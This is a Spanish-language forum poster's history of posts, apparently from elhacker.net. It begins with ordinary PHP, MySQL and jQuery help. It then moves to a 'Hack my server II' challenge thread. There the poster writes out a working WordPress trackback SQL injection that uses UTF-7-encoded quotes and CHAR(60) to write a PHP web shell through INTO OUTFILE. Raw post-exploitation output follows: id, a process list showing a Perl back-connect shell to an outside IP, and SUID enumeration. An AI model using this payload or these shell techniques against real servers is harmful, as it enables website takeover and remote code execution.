|
1501
|
Programación / PHP / Re: Agregar operadores logicos php
|
en: 22 Agosto 2014, 18:29 pm
|
Salvo que tiene inyección sql no le veno ningún problema, talves no se guardan los datos porque estas intentando guardar un campo que no existe o te falta un campo obligatorio. Dale un echo a la query completa, la copias y la pegas en el phpmyadmin y vee que error te sale.
|
|
|
1502
|
Programación / PHP / Re: [PHP y MySQL] Problema con código
|
en: 22 Agosto 2014, 18:12 pm
|
Prueba con: <?php ... INSERT INTO tabla1 SELECT NULL, -- Los ids no deberian compartirse a menos que sea muy necesario campo1, campo2 FROM tabla1 ');
Desde la misma query puedes insertar haciendo un select por debajo, esto vuelca directamente los datos de una tabla a otra seleccinando los campos que necesitas, de hecho desde el select puedes hacer un order by o un limit como gustes o joins, generalmente lo uso cuando debo llenar tablas para los cache. Si haces esto desde php no sabrás si tienes 1 dato o un millón y pasar un millón de registros a la memoria vía php podría ser fatal, en ves de eso deja que mysql se encargue de traspasar fila por fila sin dejar sin aliento a tu servidor. Si quieres pasar un solo dato puedes usar un where y si quieres unir datos relacionados puedes usar group_concat: INSERT IGNORE INTO usuarios_b SELECT id, nombre, correo, GROUP_CONCAT(telefonos SEPARATOR ", ") as telefonos LEFT JOIN telefonos ON (telefonos.usuario_id = usuarios_a.id) FROM usuarios_a WHERE usuarios_a.id = 157894 GROUP BY usuarios_a.id ');
Digamos que usuarios_a tiene una tabla relacional con todos los telefonos del usuario, en la tabla usuarios_b tendrá los telefonos separados por coma en un solo campo desnormalizado vs usuarios_a que si estaba normalizado. El ignore es para que no arroje error si ya existía, si se quiere renovar se puede unir con un drop o un update en ves de insert. Puse left join en ves de inner join porque talves el usuario no tiene telefonos, en ese caso el campo queda nulo y la tabla usuarios_b debería tener el campo telefonos nullable y usuarios_b denbería llevar un foregin key relaiconado con el id de la tabla de usuarios_a con un on-update y on-delete en cascade para hacer joins mas rápidos con innodb. Por favor intenten dejar de usar mysql_ y usen mysqli_ o el objeto mismo de mysqli ya que mysql_ se declaró obsoleto en las nuevas verisones de php5.
|
|
|
1503
|
Programación / PHP / Re: inicar servicio Mysql y Apache
|
en: 22 Agosto 2014, 18:07 pm
|
Se supone que para eso existen los servicios, debes usar el script del xampp que sirve para instalar apache e mysql como servicios, luego solo los inicias con service start apache2 && service start mysql, el tema es que ese script necesitaría permisos de root, mucho cuidado de los permisos que le des a ese script porque podrías comprometer la integridad de tu servidor, si apache corre como un usuario no www-data y como root puedes provocar que un atacante ejecute script de php desde tu pagina web como root, para eso son los servicios, ellos se encargan de iniciar los binarios con sus respectivos permisos y entornos ya que tampoco declaraste el entorno de apache ni de php.
|
|
|
1504
|
Programación / PHP / Re: Verificar Existencia de Array Enviado desde PHP a JS en forma de JSON
|
en: 22 Agosto 2014, 17:53 pm
|
Pues lo normal sería que el texto de salida fuera unicamente de tipo json y no mezclar texto plano con json ya que para procesar texto json en javascript deberias utilizar el envio de cabeceras json o si no no te va a funcionar bien en todos los navegadores. <?php if($estado1){ 'a' => 1, 'b' => 2 ); } if($estado2){ 'a' => 1, 'b' => 2 ); } header('Content-Type: application/json; charset=utf-8'); 'estado' => 1, 'primero' => 'Este es un mensaje', 'segundo' => 'Este es otro mensaje' ), 'datos' => $datos ));
Luego desde jquery utilizas: $.ajax({ cache : false, url : document.location, dataType : 'json', /* Acá indicas si la petición debe ser GET o POST, de preferencia prefiero POST para un mayor control desde el php y para el envío de datos grandes. */ type : 'POST', /* Estos son los datos de tu petición POST */ data : { accion : 'obtener', foo : 'var' } success : function (data) { if(data.estado == 1){ // Procesa data.datos, data.mensajes[n], etc }else{ // En este punto el json venia corrupto } }, error : function (request, status, error) { /* Una carga abortada no debería desplegar un mensaje de error */ if(error == 'abort') return; alert('Hubo un error al obtener los datos, inténtelo nuevamente.'); var contextoAjax = this; /* Esto es por si quieres reintentar cada ves que ocurre un error */ setTimeout(function(){ $.ajax(contextoAjax); }, 4000); /* El timeout es para que haga el reintento cada 4 segundos, si el usuario no tiene internet va a enviar la petición como 500 veces por segundo y provocarás que el navegador agote los recursos de memoria y CPU del PC */ } });
jSon existe justamente para que no tengas que trabajar con textos planos y no tengas este tipo de problemas, por eso siempre tu comunicación entre php y javascript debería ser vía jSon (de preferencia). Fijate que en la petición post le puse type json, es porque un servidor WEB no solo soporta datos serializados via post data sino también datos en json y eso es estandard. de todas formas puedes usar un "marcador" en el codigo, tipo mensaje linea 1 mansaje linea 2 //*inicioJSON*// {a:1,b:2} //*finJSON*// mensaje linea 3 etc... Eso jamas se hace xD, por eso existen los protocolos y formatos, están diseñados para llevar todo tipo de contenido sin dar problemas, por ejemplo si hago lo que dices entonces jamás voy a poder poner "//*finJSON*//" dentro de un campo de texto para guardar y ser enviado via json o poner un texto de un blog con eo ya que va a terminar cortando tu código a la mitad y se producirá una inyección de datos. Para eso existen las secuencias de escape en todos los lenguajes de programación entre muchas otras cosas pensadas para su buen uso, como lo hace json, javascript, batch, bash, php, perl, python, etc etc, es como si yo quisiera poner un texto con comillas simples y dobles dentrod e una cadena de caracteres de php, necesito usar la secuencia de escape de backslash, en javascript debo usar carácteres unicode, en json también usa backslash al igual que sql, etc. Saludos.
|
|
|
1505
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Busco maestro soy rápido en aprender
|
en: 8 Agosto 2014, 00:05 am
|
Vamos, no necesitas un maestro, lo que ven tus ojos a traves de una pantalla puedes considerarlo como un maestro y tu teclado tu boca para hablar con el. Si necesitas aprender algo solo debes preguntar asi como acabas de preguntar acá, busca videos en youtube, bajate tutoriales y vas a ir aprendiendo en el camino. No se que sea para ti un hacker pero si quieres ir por la vida reventando sistemas no te va a costar mucho, hay muchos que a sus 15 años revientan servidores completos, ser hacker no es eso sino tener un alto grado sobresaliente en conocimiento que los demás y eso se logra con los años y mucha práctica. Si alguien viene y te dice que te va a ser hacker en un mes o un año entonces este tipo está engañando. Que necesitas saber para ser hacker? pues la verdad es que no necesitas ser un islamico, ruso o chino/japones para encaminarte a la cima del conocimiento, basta con que seas bueno para algo, cualquier cosa pero que seas muy bueno, mas bueno que otros. Por ejemplo digamos que aprendes a sacarle la clave a un windows sin tener que reiniciar el sistema y desde una cuenta de invitado... entonces podrás decir que eres un hacker porque tubiste mas conocimientos sobre la seguridad en el sistema operativo que el que lo diseñó (microsoft), siempre y cuando lo hayas hecho solo porque si te bajas un programa y le haces dos clicks y listo entonces eso no es hackear, es solo usar un programa (scriptkidde), el hacker se las banca solo, busca información y aprende, no se dedica a bajar cosas y que todo se haga por arte de magia. No serás hacker porque uses el metasploit framework o por usar linux o por descargar un troyano e infectar a alguien, el hacker hace los exploits porque los entiende y fue capaz de ser mejor que el que hizo el sistema que vulneró, también es hacker el que crea un troyano que por si solo evada antivirus y esas cosas porque el que lo hizo sabe como trabaja un antivirus y fue mayor que el que hizo el antivirus, así también el que usa linux solo lo usa, no lo creó ni nada, hasta mi hijo de 10 años podría instalar algun sistema con linux, ponerle metasploit y ejecutar un comando de una linea y hacerse de la shell de otro computador y eso no lo hace hacker, solo lo hace una persona con conocimientos para usar un programa. Ser hacker es algo muy amplio, no siempre significa vulnerar o reventar algo, el carnicero no es carnicero porque lleva un cuchillo al igual que los llevan los asesinos, es carnicero porque sabe cortar carne, hasta un niño de 5 años le pasas un cuchillo y puede que comience a darle a puntadas a la carne pero no lo sabrá cortar como se debe. Date una vuelta por acá: http://www.elhacker.net/como-convertirse-en-hacker.htmlhttp://es.wikipedia.org/wiki/HackerY suerte! http://www.elhacker.net/como-convertirse-en-hacker.html#id2751996¿Me enseñarás a hackear? R:
Desde la primera publicación de esta página, me llegan varias peticiones por semana (a menudo varios por día) de gente que quiere que le "enseñe todo sobre hackeo". Desafortunadamente, no tengo ni el tiempo ni la energía para hacer eso; mis propios proyectos de hackeo consumen el 110% de mi tiempo.
Aun si pudiera hacerlo, el hackeo es una actitud y habilidad que debes aprender por ti mismo. Te darás cuenta de que los hackers de verdad quieren ayudarte, pero no te respetarán si comienzas a rogarles que te alimenten en la boca con todo lo que saben.
Aprende unas cuantas cosas primero. Muéstrales que lo estás intentando, que eres capaz de aprender por tu cuenta. Entonces dirígete a los hackers que conozcas pero ya con preguntas específicas.
Si escribes un email a un hacker pidiéndole consejo, hay 2 cosas que debes saber antes. Primero, hemos encontrado que la gente que es perezosa o descuidada en sus escritos suelen ser demasiado perezosos o descuidados para pensar en ser buenos hackers —Así que ten cuidado en deletrear correctamente, y usar buena gramática y puntuación. En caso contrario, probablemente serás ignorado. En segundo lugar, no te atrevas a pedir una respuesta con una cuenta de ISP diferente a la cuenta desde la que estás enviando; nos encontramos gente que lo hacen que suelen ser timadores usando cuentas robadas, y no tenemos interes en ayudar o apoyar el robo.
|
|
|
1507
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 6 Agosto 2014, 15:38 pm
|
Vamos, yo aun tengo mi shell xD me@Machine:~/Escritorio/server$ php cliente.php http://web.com/wp-content/uploads/whk-shell.php Conectando ... Conectado! WHK@owned-server:/var/www/wp-content/uploads$ ls drwxrwxrwx . drwxrwxrwx .. -rw-r--r-- index.php drwxr-xr-x tmp -rw-r--r-- whk-shell.php WHK@owned-server:/var/www/wp-content/uploads$ system id uid=33(www-data) gid=33(www-data) groups=33(www-data) WHK@owned-server:/var/www/wp-content/uploads$ Me faltan mis puntos por haber subido la shell a traves de la inyección sql bypaseando el filtro de seguridad de wordpress a traves del utf7. PD: el webmin no es vulnerable por obsolencia (para que ahorren tiempo): webmin : 1.690 apache2 : 2.4.6 mysql : 5.5.37 phpmyadmin : 4:4.0.6-1 gcc : 0 php5 : 5.5.3
|
|
|
1509
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 3 Agosto 2014, 02:01 am
|
Talves escribí la funcion mal entonces porque tiene deshabilitado el reporte de errores. php está configurado con algunos datos falsos :p por ejemplo sale que el apache está sobre ubuntu pero en realidad es un redhat xD o al reves pero dudo que sea ubuntu.
|
|
|
1510
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 3 Agosto 2014, 01:42 am
|
Logré ejecutar una shell en php sin usar el phpmyadmin, unicamente usando la inyección SQL. recordemos que estamos usando utf7 para la inyeción, no caracteres normales, asi que si escribimos las comillas en utf7 estas no se escaparán con backslashses: POST /wp-trackback.php?p=1 HTTP/1.1 Connection: close Host: web.com Content-Type: application/x-www-form-urlencoded Content-Length: 197
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select CONCAT(CHAR(60),%2bACc-?php echo 99;%2bACc-) INTO OUTFILE %2bACc-/var/www/wp-content/uploads/whk5.php%2bACc- -- -
http://web.com/wp-content/uploads/whk5.phpPor alguna razón cuando escribía el carácter "<" se cortaba el string de la inyección, lo mismo cuando lo escribia en utf7, supongo que era algun sistema de protección, entonces... como rayos podía comenzar un script en php? fácil, usando concat y crah con el valor decimal del carácter "<", por lo cual ese filtro solo busca strings en plano y no codificados, asi que es cuestion de codificar lo que sea para bypasear todo filtro de carácteres excepto la comilla por utf7. Asi que ahora lanzo mi shell directa desde la inyección y desde ahi paso a tratar de ejecutar código. el phpinfo() está deshabilitado. http://web.com/wp-content/uploads/whk7.php?val=system%28%27id%27%29;uid=33(www-data) gid=33(www-data) groups=33(www-data) USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 26252 572 ? Ss Jul30 0:00 init root 2 0.0 0.0 0 0 ? S Jul30 0:00 [kthreadd/84472] root 3 0.0 0.0 0 0 ? S Jul30 0:00 [khelper/84472] root 177 0.0 0.0 15224 8 ? S Jul30 0:00 upstart-file-bridge --daemon root 376 0.0 0.0 14956 8 ? Ss Jul30 0:00 /usr/sbin/xinetd -dontfork -pidfile /var/run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6 root 378 0.0 0.0 61044 312 ? Ss Jul30 0:02 /usr/sbin/sshd -D root 380 0.0 0.0 25756 244 ? Ss Jul30 0:04 cron syslog 416 0.0 0.0 12748 412 ? Ss Jul30 0:03 /sbin/syslogd -u syslog root 484 0.0 0.0 81008 4 ? Ss Jul30 0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2 root 486 0.0 0.0 81008 4 ? S Jul30 0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2 root 540 0.0 0.0 85780 672 ? Ss Jul30 0:17 sendmail: MTA: accepting connections root 572 0.0 0.0 12748 8 tty1 Ss+ Jul30 0:00 /sbin/getty -8 38400 tty1 mysql 4586 0.0 1.0 785948 11288 ? Ssl Jul30 4:04 /usr/sbin/mysqld www-data 5153 0.0 0.0 4392 564 ? Ss 05:01 0:00 /usr/sbin/apache -i root 6893 0.0 0.1 313920 1400 ? Ss Jul30 0:22 /usr/sbin/apache2 -k start root 10027 0.0 0.2 86048 2316 ? Ss Jul30 2:13 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf www-data 10048 0.0 0.0 4392 544 ? Ss 11:02 0:00 /usr/sbin/apache -i www-data 10888 0.0 0.0 4392 520 ? S 12:18 0:00 /bin/sh ./stop www-data 10892 0.0 0.0 4324 440 ? S 12:18 0:00 cat www-data 11279 0.0 0.0 4392 536 ? Ss 12:46 0:00 /usr/sbin/apache -i www-data 11641 0.0 0.3 314788 4048 ? S 13:11 0:00 /usr/sbin/apache2 -k start www-data 11865 0.0 0.0 4392 524 ? S 13:26 0:00 sh -c ./out www-data 11866 6.2 0.0 4756 396 ? Sl 13:26 23:52 ./out www-data 11927 0.0 0.0 0 0 ? Z 13:32 0:00 [sh] <defunct> www-data 12122 0.0 0.0 0 0 ? Z 13:44 0:00 [sh] <defunct> www-data 12570 0.0 0.0 0 0 ? Z 14:13 0:00 [sh] <defunct> www-data 12685 0.0 0.0 0 0 ? Z 14:25 0:00 [sh] <defunct> www-data 13048 0.0 0.0 0 0 ? Z 14:59 0:00 [sh] <defunct> www-data 14598 0.0 0.0 0 0 ? Z 15:56 0:00 [sh] <defunct> www-data 16229 0.0 0.0 0 0 ? Z 16:51 0:00 [sh] <defunct> www-data 16344 0.0 0.0 4392 536 ? Ss 16:58 0:00 /usr/sbin/apache -i www-data 16351 0.0 0.0 28884 940 ? S 16:59 0:02 ping6 ::1 www-data 16394 0.0 0.0 0 0 ? Z 17:02 0:00 [sh] <defunct> www-data 16475 0.0 0.0 0 0 ? Z 17:11 0:00 [sh] <defunct> www-data 16535 0.0 0.0 0 0 ? Z 17:15 0:00 [sh] <defunct> www-data 16575 0.0 0.0 0 0 ? Z 17:18 0:00 [sh] <defunct> www-data 17044 0.0 0.0 0 0 ? Z 17:54 0:00 [sh] <defunct> www-data 17775 0.0 1.3 318804 13648 ? S 19:09 0:00 /usr/sbin/apache2 -k start www-data 17840 0.0 1.0 317008 10796 ? S 19:13 0:00 /usr/sbin/apache2 -k start www-data 17844 0.0 0.7 317240 7400 ? S 19:13 0:00 /usr/sbin/apache2 -k start www-data 17847 0.0 0.7 316428 8212 ? S 19:14 0:00 /usr/sbin/apache2 -k start www-data 17862 0.0 0.6 314376 6624 ? S 19:15 0:00 /usr/sbin/apache2 -k start www-data 17892 0.0 1.0 317000 10616 ? S 19:17 0:00 /usr/sbin/apache2 -k start www-data 17936 0.0 0.8 317000 8568 ? S 19:20 0:00 /usr/sbin/apache2 -k start www-data 17943 0.0 0.8 317760 8912 ? S 19:20 0:00 /usr/sbin/apache2 -k start www-data 17946 0.0 0.9 318776 9564 ? S 19:20 0:00 /usr/sbin/apache2 -k start www-data 17949 0.0 0.7 316984 7384 ? S 19:21 0:00 /usr/sbin/apache2 -k start www-data 18289 0.0 0.0 4392 624 ? S 19:50 0:00 sh -c ps -aux www-data 18290 0.0 0.1 15520 1124 ? R 19:50 0:00 ps -aux www-data 28193 0.0 0.0 4392 536 ? Ss Aug01 0:00 /usr/sbin/apache -i www-data 31431 0.0 0.0 4148 4 ? T 00:45 0:00 ./exp4 www-data 31575 0.0 0.3 314780 3824 ? S 00:59 0:00 /usr/sbin/apache2 -k start www-data 31850 0.0 0.0 4392 528 ? S 01:14 0:00 sh -c perl bk.pl 71.51.107.185 80 www-data 31851 0.0 0.1 27860 2024 ? S 01:14 0:00 perl bk.pl 71.51.107.185 80 www-data 31857 0.0 0.1 17864 1176 ? S 01:14 0:00 /bin/bash www-data 32084 0.0 0.0 4148 4 ? T 01:23 0:00 ./exp4 www-data 32091 0.0 0.0 4148 4 ? T 01:25 0:00 ./exp4 www-data 32335 0.0 0.1 17868 1220 ? S 01:34 0:00 bash tcp 0 0 localhost.localdom:smtp *:* LISTEN - tcp 0 0 localhost.localdo:mysql *:* LISTEN - tcp 0 0 localhost.lo:submission *:* LISTEN - tcp 0 0 *:webmin *:* LISTEN - tcp 0 0 *:ssh *:* LISTEN - tcp6 0 0 [::]:http [::]:* LISTEN - tcp6 0 0 [::]:ssh [::]:* LISTEN -
Archivos ejecutables con permisos de root: find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null /bin/ping /bin/mount /bin/ping6 /bin/su /bin/umount /usr/bin/sudo /usr/bin/newgrp /usr/bin/procmail /usr/bin/traceroute6.iputils /usr/bin/gpasswd /usr/bin/chsh /usr/bin/passwd /usr/bin/arping /usr/bin/chfn /usr/sbin/sensible-mda /usr/sbin/uuidd No es ubuntu server, es un redhat: cat /proc/version /proc/cpuinfo Linux version 2.6.32-042stab084.14 (root@rh6-build-x64) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Mon Dec 16 18:16:56 MSK 2013 processor : 0 vendor_id : AuthenticAMD cpu family : 16 model : 2 model name : AMD Opteron(tm) Processor 4284 stepping : 3 cpu MHz : 2999.999 cache size : 2048 KB physical id : 0 siblings : 4 core id : 0 cpu cores : 4 apicid : 0 initial apicid : 0 fpu : yes fpu_exception : yes cpuid level : 5 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good tsc_reliable nonstop_tsc unfair_spinlock pni cx16 x2apic popcnt hypervisor lahf_lm cmp_legacy extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw bogomips : 5999.99 TLB size : 1536 4K pages clflush size : 64 cache_alignment : 64 address sizes : 40 bits physical, 48 bits virtual power management:
|
|
|
|
|
|
|